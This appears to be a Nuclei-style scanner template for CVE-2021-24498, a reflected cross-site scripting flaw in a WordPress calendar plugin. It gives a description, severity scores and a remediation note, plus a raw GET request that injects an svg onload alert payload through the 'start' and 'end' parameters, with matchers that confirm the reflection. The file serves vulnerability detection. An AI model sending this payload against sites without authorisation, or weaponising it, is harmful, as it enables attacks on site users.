56 lines
2.2 KiB
YAML
56 lines
2.2 KiB
YAML
id: CVE-2021-24498
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info:
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name: WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting
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author: suman_kar
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severity: medium
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description: WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
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remediation: |
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Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.
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reference:
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- https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24498
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24498
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cwe-id: CWE-79
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epss-score: 0.00188
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epss-percentile: 0.56105
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cpe: cpe:2.3:a:dwbooster:calendar_event_multi_view:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 1
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vendor: dwbooster
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product: calendar_event_multi_view
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framework: wordpress
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tags: cve,cve2021,xss,wordpress,wp-plugin,wpscan,dwbooster
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http:
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- raw:
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- |
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GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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Connection: close
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '><svg/onload=alert(1)><'
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- 'Calendar Details'
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condition: and
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- type: word
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part: header
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words:
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- 'text/html'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100ebbf21f5e0b617526916b1744dac4e57ea624a33c979c9da926bc2a14c2dc9eb022100b3e3eadd094462a714ea670c8afc0450a06d6da0b25505b3a677f045f3f0a58e:922c64590222798bb761d5b6d8e72950 |